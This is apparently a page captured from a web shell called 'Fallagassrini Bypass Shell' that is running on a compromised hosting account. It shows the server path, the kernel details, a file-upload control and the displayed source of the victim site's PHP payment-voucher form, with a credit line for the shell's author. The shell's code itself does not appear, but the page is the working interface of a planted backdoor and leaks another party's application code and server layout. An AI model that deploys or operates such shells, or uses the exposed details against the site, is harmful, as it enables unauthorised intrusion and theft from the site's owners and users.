? Fallagassrini

Fallagassrini Bypass Shell

echo"
Fallagassrini
";
Current Path : /home1/savoy/public_html/savoyglobal.net/sec/application/views/inventory/

Linux gator3171.hostgator.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
Upload File :
Current File : /home1/savoy/public_html/savoyglobal.net/sec/application/views/inventory/post_purchase.php

<?php
if (!defined('BASEPATH'))
    exit('No direct script access allowed');
$this->load->view('inventory/inventoryfunctions');
$this->load->view('accounting/accountingfunctions');
$this->load->view('documentreadyfunctions');
?>
<script src="<?= base_url() ?>assets/scripts/jquery.autocomplete.js"></script>
<script>
    $(document).ready(function()
    {
        checkfiscalyear();        
        $(".addRow_payment").btnAddRow({inputBoxAutoNumber: true}, function(row) {
            suggestchartaccount('.payment_account');
        });        
        suggestchartaccount('.payment_account');
        suggest_bank_account('#bankacc');
    });

</script>  

<!-- BEGIN PAGE LEVEL STYLES --> 

<!-- END PAGE LEVEL STYLES -->
<div class="row-fluid">
    <div class="tab-pane " id="tab_2">
        <div class="portlet box blue">
            <div class="portlet-title">
                <div class="caption"><i class="icon-reorder"></i>Creating Payment Voucher</div>
                <div class="tools">
                    <a href="#" onclick="viewdata('inventory','viewininventorysearch','search_purchase','view_purchase','<?= $_SESSION['pagenum']; ?>')" class="remove"></a>
                </div>
            </div>
            <div class="portlet-body form">
                <!-- BEGIN FORM-->
                <?php
                $attributes = array('id' => 'validateform', 'class' => 'form-horizontal validate');
                echo form_open('inventory/addininventory/post_purchase_details/view_purchase/1', $attributes);
                $payment_type = $this->mastermodel->getdatas('finance_payment_types', 'payment_type_id', 'asc');
                $franchisee_info = $this->mastermodel->get_data_srow('franchisee', $viewinfo->purchase_franchisee_id, 'franchisee_id');
                $franchisee_account = $this->mastermodel->get_data_srow('finance_chart_master', $franchisee_info->franchisee_code, 'chart_account_code');
                $franchisee = $franchisee_account->chart_account_code . "-" . $franchisee_account->chart_account_name;


                $inventry = $this->mastermodel->get_data('purchase_inventory', $viewinfo->purchase_id, 'purchase_id');
                $p_total = 0;
                foreach ($inventry as $row)
                {
                    $qty = intval($row['inventory_qty']);
                    $amount = floatval($row['inventory_amount']);
                    $discount = floatval($row['inventory_discount']);
                    $total = $qty * $amount - $discount;
                    $p_total+=$total;
                }
                ?>
                <input type="hidden" name="transaction_id" value="1"/>
                <input type="hidden" name="franchisee" id="franchisee" value="<?= $franchisee_info->franchisee_name ?>"/>


                <div class="portlet box blue">
                    <div class="portlet-title">
                        <div class="caption"><i class="icon-check"></i> Bank Account Payment Entry</div>
                    </div>
                    <div class="portlet-body">
                        <div class="row-fluid">
                            <div class="control-group">
                                <table class="table table-striped table-hover table-bordered" id="sample_3" style="background-color: white;">
                                    <tr>
                                        <th>Transaction No: </th>
                                        <th>From:</th>                        
                                        <th>Date:</th>
                                        <th>Payment Method</th>
                                    </tr>
                                    <tr>

                                        <td><input readonly="readonly"  type="text" value="--Auto Generated--" /></td>
                                        <td>
                                            <input style="width: 200px" type="text" name="bankacc" id="bankacc" value='' class="required" style="width: 265px"/>
                                            <input type="hidden" name="bankacc_id" id="bankacc_id"  /> 
                                        </td>

                                        <td>
                                            <input class="required calfocus m-wrap" type="text" name="journal_date" id="journal_date" value="<?= date('d-m-Y') ?>"/>
                                        </td>
                                        <td>
                                            <select style="width: 200px"name="payment_type_id" id="payment_type_id" class="required chosen " onchange="select_payment_mode(this.value, 'payment_mode','PV')">
                                                <?php
                                                foreach ($payment_type as $value)
                                                {
                                                    echo '<option value="' . $value['payment_type_id'] . '">' . $value["payment_type"] . '</option>';
                                                }
                                                ?>
                                            </select>
                                        </td>
                                    </tr>
                                </table>
                            </div>
                        </div>

                    </div>
                </div>

                <div class="portlet box blue"  id="div_payment_details" style="display: none" >
                    <div class="portlet-title" >
                        <div class="caption"><i class="icon-check"></i> Payment Details</div>
                    </div>
                    <div class="portlet-body" id='payment_mode'>

                    </div>

                </div>
                <div class="portlet box blue">
                    <div class="portlet-title">
                        <div class="caption"><i class="icon-check"></i> Payment Items</div>
                    </div>
                    <div class="portlet-body">
                        <div class="row-fluid">
                            <div class="control-group">
                                <table class="table table-striped table-hover table-bordered" id="sample_3" style="background-color: white;">
                                    <tr>
                                        <th>Vendor Account</th>                    
                                        <th>Description</th>
                                        <th>Amount</th>
                                    </tr>
                                    <tr>

                                        <td>
                                            <input type="text" class="span12" readonly="readonly" name="payment_to" id="payment_to" data-id='payment_to_id' value="<?= $franchisee ?>" class="required payment_account" />
                                            <input type="hidden" name="payment_to_id" id="payment_to_id"  value="<?= $franchisee_account->chart_master_id ?>"/> 
                                        </td>                  
                                        <td><textarea name="description1" class="span12" id="description"></textarea></td>
                                        <td><input value="<?= $p_total ?>" readonly="readonly" class="span12 number required text_r auto" type="text" name="amount" id="amount" onblur="" /></td>
                                    </tr>
                                </table>
                            </div>
                        </div>

                    </div>
                </div>

                <div class="form-actions">
                    <input type="hidden" name="tab_name" value="purchase"/>
                    <input type="hidden" name="resfunction" value="search_purchase"/>
                    <input type="hidden" name="purchase_id" id="purchase_id" value="<?= $viewinfo->purchase_id ?>"/>
                    <button type="submit" onclick="checkamount('amount');checkdata('payment_to', 'payment_account','No existing  Account selected')
                        checkdatavalidity($('input#bankacc_id').val(), 'bankacc', 'No existing Bank Account selected')
                        addformdata('validateform')" class="btn blue"><i class="icon-ok"></i> Save</button>
                    <button type="button" onclick="viewdata('inventory','viewininventorysearch','search_purchase','view_purchase','<?= $_SESSION['pagenum']; ?>')" class="btn">Cancel</button>
                </div>
                <?php
                echo form_close();
                ?>
                <!-- END FORM-->                
            </div>
        </div>
    </div>
</div>

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net